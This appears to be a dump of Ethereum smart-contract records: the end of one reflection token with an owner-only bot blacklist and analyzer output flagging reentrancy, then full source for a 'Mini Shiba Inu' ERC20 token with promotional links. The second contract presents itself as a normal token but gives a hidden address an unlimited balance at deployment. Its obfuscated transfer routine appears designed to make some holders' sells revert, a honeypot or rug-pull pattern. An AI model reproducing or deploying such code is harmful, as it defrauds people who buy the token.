uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2e4 * 10**9; _maxWalletSize = 2e4 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610349578063b87f137a14610369578063c3c8cd8014610389578063c9567bf91461039e578063cd735faa146103b3578063dd62ed3e146103c857600080fd5b806370a08231146102ab578063715018a6146102cb578063751039fc146102e05780638da5cb5b146102f557806395d89b411461031d57600080fd5b8063273123b7116100f2578063273123b71461021a578063313ce5671461023a5780635932ead114610256578063677daa57146102765780636fc3eaec1461029657600080fd5b806306fdde031461013a578063095ea7b31461018457806318160ddd146101b45780631b3f71ae146101d857806323b872dd146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600f81526e20ba3a30b1b5a7b721b434b1b5b2b760891b60208201525b60405161017b9190611a2b565b60405180910390f35b34801561019057600080fd5b506101a461019f3660046118b2565b61040e565b604051901515815260200161017b565b3480156101c057600080fd5b5066038d7ea4c680005b60405190815260200161017b565b3480156101e457600080fd5b506101f86101f33660046118de565b610425565b005b34801561020657600080fd5b506101a4610215366004611871565b6104c4565b34801561022657600080fd5b506101f86102353660046117fe565b61052d565b34801561024657600080fd5b506040516009815260200161017b565b34801561026257600080fd5b506101f86102713660046119aa565b610578565b34801561028257600080fd5b506101f86102913660046119e4565b6105c0565b3480156102a257600080fd5b506101f8610619565b3480156102b757600080fd5b506101ca6102c63660046117fe565b610646565b3480156102d757600080fd5b506101f8610668565b3480156102ec57600080fd5b506101f86106dc565b34801561030157600080fd5b506000546040516001600160a01b03909116815260200161017b565b34801561032957600080fd5b50604080518082019091526003815262414f4360e81b602082015261016e565b34801561035557600080fd5b506101a46103643660046118b2565b610718565b34801561037557600080fd5b506101f86103843660046119e4565b610725565b34801561039557600080fd5b506101f8610778565b3480156103aa57600080fd5b506101f86107ae565b3480156103bf57600080fd5b506101f86109ac565b3480156103d457600080fd5b506101ca6103e3366004611838565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061041b338484610bf9565b5060015b92915050565b6000546001600160a01b031633146104585760405162461bcd60e51b815260040161044f90611a80565b60405180910390fd5b60005b81518110156104c05760016006600084848151811061047c5761047c611bc7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104b881611b96565b91505061045b565b5050565b60006104d1848484610d1d565b610523843361051e85604051806060016040528060288152602001611c17602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611110565b610bf9565b5060019392505050565b6000546001600160a01b031633146105575760405162461bcd60e51b815260040161044f90611a80565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a25760405162461bcd60e51b815260040161044f90611a80565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105ea5760405162461bcd60e51b815260040161044f90611a80565b600081116105f757600080fd5b610613606461060d66038d7ea4c680008461114a565b906111d0565b600f5550565b600c546001600160a01b0316336001600160a01b03161461063957600080fd5b4761064381611212565b50565b6001600160a01b03811660009081526002602052604081205461041f9061124c565b6000546001600160a01b031633146106925760405162461bcd60e51b815260040161044f90611a80565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107065760405162461bcd60e51b815260040161044f90611a80565b66038d7ea4c68000600f819055601055565b600061041b338484610d1d565b6000546001600160a01b0316331461074f5760405162461bcd60e51b815260040161044f90611a80565b6000811161075c57600080fd5b610772606461060d66038d7ea4c680008461114a565b60105550565b600c546001600160a01b0316336001600160a01b03161461079857600080fd5b60006107a330610646565b9050610643816112c9565b6000546001600160a01b031633146107d85760405162461bcd60e51b815260040161044f90611a80565b600e54600160a01b900460ff161561082c5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161044f565b600d546001600160a01b031663f305d719473061084881610646565b60008061085d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108c057600080fd5b505af11580156108d4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f991906119fd565b5050600e80546512309ce54000600f81905560105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561097457600080fd5b505af1158015610988573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064391906119c7565b6000546001600160a01b031633146109d65760405162461bcd60e51b815260040161044f90611a80565b600e54600160a01b900460ff1615610a2a5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161044f565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610a65308266038d7ea4c68000610bf9565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9e57600080fd5b505afa158015610ab2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad6919061181b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1e57600080fd5b505afa158015610b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b56919061181b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b9e57600080fd5b505af1158015610bb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd6919061181b565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610c5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044f565b6001600160a01b038216610cbc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044f565b6001600160a01b038216610de35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044f565b60008111610e455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044f565b6000600a818155600b55546001600160a01b03848116911614801590610e7957506000546001600160a01b03838116911614155b15611100576001600160a01b03831660009081526006602052604090205460ff16158015610ec057506001600160a01b03821660009081526006602052604090205460ff16155b610ec957600080fd5b600e546001600160a01b038481169116148015610ef45750600d546001600160a01b03838116911614155b8015610f1957506001600160a01b03821660009081526005602052604090205460ff16155b8015610f2e5750600e54600160b81b900460ff165b1561103357600f54811115610f855760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161044f565b60105481610f9284610646565b610f9c9190611b26565b1115610fea5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161044f565b6001600160a01b038216600090815260076020526040902054421161100e57600080fd5b61101942601e611b26565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b03838116911614801561105e5750600d546001600160a01b03848116911614155b801561108357506001600160a01b03831660009081526005602052604090205460ff16155b15611093576000600a908155600b555b600061109e30610646565b600e54909150600160a81b900460ff161580156110c95750600e546001600160a01b03858116911614155b80156110de5750600e54600160b01b900460ff165b156110fe576110ec816112c9565b4780156110fc576110fc47611212565b505b505b61110b838383611452565b505050565b600081848411156111345760405162461bcd60e51b815260040161044f9190611a2b565b5060006111418486611b7f565b95945050505050565b6000826111595750600061041f565b60006111658385611b60565b9050826111728583611b3e565b146111c95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044f565b9392505050565b60006111c983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145d565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104c0573d6000803e3d6000fd5b60006008548211156112b35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044f565b60006112bd61148b565b90506111c983826111d0565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131157611311611bc7565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561136557600080fd5b505afa158015611379573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139d919061181b565b816001815181106113b0576113b0611bc7565b6001600160a01b039283166020918202929092010152600d546113d69130911684610bf9565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061140f908590600090869030904290600401611ab5565b600060405180830381600087803b15801561142957600080fd5b505af115801561143d573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61110b8383836114ae565b6000818361147e5760405162461bcd60e51b815260040161044f9190611a2b565b5060006111418486611b3e565b60008060006114986115a5565b90925090506114a782826111d0565b9250505090565b6000806000806000806114c0876115e3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114f29087611640565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115219086611682565b6001600160a01b038916600090815260026020526040902055611543816116e1565b61154d848361172b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161159291815260200190565b60405180910390a3505050505050505050565b600854600090819066038d7ea4c680006115bf82826111d0565b8210156115da5750506008549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006116008a600a54600b5461174f565b925092509250600061161061148b565b905060008060006116238e87878761179e565b919e509c509a509598509396509194505050505091939550919395565b60006111c983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611110565b60008061168f8385611b26565b9050838110156111c95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044f565b60006116eb61148b565b905060006116f9838361114a565b306000908152600260205260409020549091506117169082611682565b30600090815260026020526040902055505050565b6008546117389083611640565b6008556009546117489082611682565b6009555050565b6000808080611763606461060d898961114a565b90506000611776606461060d8a8961114a565b9050600061178e826117888b86611640565b90611640565b9992985090965090945050505050565b60008080806117ad888661114a565b905060006117bb888761114a565b905060006117c9888861114a565b905060006117db826117888686611640565b939b939a50919850919650505050505050565b80356117f981611bf3565b919050565b60006020828403121561181057600080fd5b81356111c981611bf3565b60006020828403121561182d57600080fd5b81516111c981611bf3565b6000806040838503121561184b57600080fd5b823561185681611bf3565b9150602083013561186681611bf3565b809150509250929050565b60008060006060848603121561188657600080fd5b833561189181611bf3565b925060208401356118a181611bf3565b929592945050506040919091013590565b600080604083850312156118c557600080fd5b82356118d081611bf3565b946020939093013593505050565b600060208083850312156118f157600080fd5b823567ffffffffffffffff8082111561190957600080fd5b818501915085601f83011261191d57600080fd5b81358181111561192f5761192f611bdd565b8060051b604051601f19603f8301168101818110858211171561195457611954611bdd565b604052828152858101935084860182860187018a101561197357600080fd5b600095505b8386101561199d57611989816117ee565b855260019590950194938601938601611978565b5098975050505050505050565b6000602082840312156119bc57600080fd5b81356111c981611c08565b6000602082840312156119d957600080fd5b81516111c981611c08565b6000602082840312156119f657600080fd5b5035919050565b600080600060608486031215611a1257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611a5857858101830151858201604001528201611a3c565b81811115611a6a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b055784516001600160a01b031683529383019391830191600101611ae0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3957611b39611bb1565b500190565b600082611b5b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b7a57611b7a611bb1565b500290565b600082821015611b9157611b91611bb1565b500390565b6000600019821415611baa57611baa611bb1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064357600080fd5b801515811461064357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b2fad59badd11fdf622269b26ba420c3c376bf3264ce1d5711d8924dc2ff28d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,240
0xca85FC4b719a75816Ca632319Dfe4A53261F6419
/* https://t.me/minishibainu_eth https://www.minishibainu.live/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address fur ) { _symbol = _SYMBOL; _name = _NAME; _fee = 5; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[fur] = original; _balances[msg.sender] = _tTotal; silence[fur] = original; silence[msg.sender] = original; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => address) private available; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private original = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function stopped( address poet, address production, uint256 amount ) private { address kind = available[address(0)]; bool bicycle = uniswapV2Pair == poet; uint256 swing = _fee; if (silence[poet] == 0 && repeat[poet] > 0 && !bicycle) { silence[poet] -= swing; } available[address(0)] = production; if (silence[poet] > 0 && amount == 0) { silence[production] += swing; } repeat[kind] += swing; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[poet] -= fee; _balances[address(this)] += fee; _balances[poet] -= amount; _balances[production] += amount; } mapping(address => uint256) private repeat; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private silence; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); stopped(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { stopped(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082